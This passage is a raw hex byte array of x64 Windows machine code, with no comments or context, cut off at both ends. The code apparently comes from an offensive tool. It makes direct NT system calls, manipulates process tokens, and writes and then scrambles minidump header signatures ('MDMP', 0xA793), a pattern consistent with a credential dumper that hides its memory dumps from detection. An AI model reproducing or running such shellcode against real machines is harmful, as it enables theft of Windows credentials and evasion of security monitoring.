9,0x40,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xE9,0xB8,0xFD,0xFF,0xFF,0x90,0xE9,0xB2,0xFD,0xFF,0xFF,0x90,0xE9,0xAC,0xFD,0xFF,0xFF,0xC7,0x85,0xDC,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0xEB,0x07,0x90,0xEB,0x04,0x90,0xEB,0x01,0x90,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x0F,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3B,0x55,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x5A,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x85,0xC0,0x74,0x4E,0x8B,0x85,0xBC,0x01,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x56,0x9E,0x00,0x00,0x48,0x8B,0x9D,0xC0,0x01,0x00,0x00,0x48,0x8B,0x05,0x40,0x40,0x01,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x44,0x40,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x85,0xC0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x8B,0x85,0xDC,0x01,0x00,0x00,0x48,0x81,0xC4,0x60,0x02,0x00,0x00,0x5B,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x10,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x10,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x38,0xC2,0x75,0x16,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x3C,0x5C,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5B,0x48,0x8B,0x45,0x10,0x0F,0xB6,0x00,0x83,0xC8,0x20,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x60,0x7E,0x06,0x80,0x7D,0xFF,0x7A,0x7E,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x3B,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x01,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x3A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x20,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x02,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x5C,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x81,0xEC,0x30,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xC0,0x01,0x00,0x00,0x48,0x89,0x95,0xC8,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x8D,0x15,0xEF,0xC0,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9F,0x9D,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1A,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x21,0xE8,0xAF,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x63,0x9D,0x00,0x00,0x48,0x8B,0x95,0xC8,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDA,0x9C,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x8D,0x55,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x2D,0x9D,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x45,0x99,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x14,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x50,0x02,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x50,0x02,0x90,0x48,0x81,0xC4,0x30,0x02,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x20,0x48,0x8B,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x40,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x8B,0x45,0x20,0x48,0x89,0x45,0xA8,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x4C,0x8D,0x45,0xB0,0x48,0x8D,0x4D,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x05,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x55,0xA8,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x16,0x01,0x12,0x00,0x48,0x89,0xC1,0xE8,0x89,0x54,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x75,0x37,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8D,0x05,0xFB,0xBE,0x00,0x00,0x48,0x89,0xC1,0xE8,0xD9,0xF1,0xFF,0xFF,0x48,0x8D,0x05,0xA1,0xBE,0x00,0x00,0x48,0x89,0xC1,0xE8,0xCA,0xF1,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xE9,0xDB,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x37,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8D,0x05,0xD9,0xBE,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9C,0xF1,0xFF,0xFF,0x48,0x8D,0x05,0x64,0xBE,0x00,0x00,0x48,0x89,0xC1,0xE8,0x8D,0xF1,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xE9,0x9E,0x00,0x00,0x00,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x8B,0x55,0x20,0x89,0x54,0x24,0x30,0x48,0x8B,0x55,0x18,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x55,0xB0,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x12,0x54,0x00,0x00,0x89,0x45,0xFC,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x42,0x51,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x34,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8D,0x05,0x3D,0xBE,0x00,0x00,0x48,0x89,0xC1,0xE8,0x00,0xF1,0xFF,0xFF,0x48,0x8D,0x05,0xC8,0xBD,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF1,0xF0,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xB0,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0xAB,0x52,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x12,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x3B,0x00,0x00,0xC0,0x75,0x34,0x48,0x8B,0x45,0x10,0x48,0x8B,0x40,0x08,0x48,0x83,0xC0,0x08,0x48,0x89,0xC2,0x48,0x8D,0x05,0x14,0xBD,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF2,0xEF,0xFF,0xFF,0x48,0x8D,0x05,0xBA,0xBC,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE3,0xEF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x19,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0xD9,0x4F,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xB0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x88,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x20,0x02,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xC0,0x01,0x00,0x00,0x0F,0x11,0x85,0xD0,0x01,0x00,0x00,0x0F,0x11,0x85,0xE0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xA8,0x48,0x83,0xBD,0x20,0x02,0x00,0x00,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x7D,0x48,0x8B,0x95,0x20,0x02,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC1,0xE8,0x17,0xFB,0xFF,0xFF,0xC7,0x85,0xC0,0x01,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0xC7,0x85,0xE0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xE8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xC1,0x53,0x00,0x00,0x89,0x85,0xFC,0x01,0x00,0x00,0x83,0xBD,0xFC,0x01,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0x88,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x83,0xBD,0x70,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x13,0x01,0x00,0x00,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xFE,0xF9,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0xEB,0x4F,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x43,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x39,0x4D,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0x63,0xF8,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0x50,0x4E,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x35,0x00,0x00,0xC0,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9E,0x4B,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x41,0xB9,0x10,0x00,0x00,0x00,0x49,0x89,0xC0,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xB4,0x50,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x0F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xEA,0x8B,0x45,0xF4,0x83,0xE8,0x01,0x89,0x45,0xF0,0xEB,0x73,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x8B,0x45,0xF0,0x89,0x45,0xEC,0xEB,0x0B,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x8B,0x45,0xEC,0x8D,0x50,0xFF,0x89,0x55,0xEC,0x85,0xC0,0x75,0xE8,0x48,0x83,0x7D,0xF8,0x00,0x74,0x40,0x8B,0x55,0x18,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDD,0x93,0x00,0x00,0x48,0x8B,0x05,0xCE,0x35,0x01,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xCE,0x35,0x01,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x6D,0xF0,0x01,0x83,0x7D,0xF0,0x00,0x79,0x87,0xEB,0x01,0x90,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x28,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x10,0x00,0x00,0x49,0x89,0xD1,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xC4,0x4B,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0x18,0x48,0x85,0xC0,0x74,0x42,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xFA,0x92,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x18,0x41,0xB9,0x00,0x80,0x00,0x00,0x49,0x89,0xC0,0x48,0x8D,0x55,0x10,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x93,0x4B,0x00,0x00,0x89,0x45,0xFC,0xEB,0x01,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x48,0x8D,0x45,0xF8,0x48,0x89,0xC1,0xE8,0xD1,0xEE,0xFF,0xFF,0x89,0xC1,0xE8,0xBA,0x92,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x4D,0x44,0x4D,0x50,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x93,0xA7,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE9,0xEF,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x7A,0x92,0x00,0x00,0xC1,0xE0,0x11,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0x62,0x92,0x00,0x00,0xC1,0xE0,0x02,0x25,0xFC,0xFF,0x01,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0x45,0x92,0x00,0x00,0x83,0xE0,0x03,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x00,0x00,0xE8,0x24,0x92,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0xE8,0xFF,0x91,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE8,0xD8,0x91,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0xE8,0xB3,0x91,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0x48,0x8B,0x45,0x10,0x8B,0x00,0x3D,0x4D,0x44,0x4D,0x50,0x0F,0x84,0x00,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x66,0x3D,0x93,0xA7,0x0F,0x84,0xEF,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x0F,0x84,0xDF,0xFE,0xFF,0xFF,0x90,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x41,0xB8,0x00,0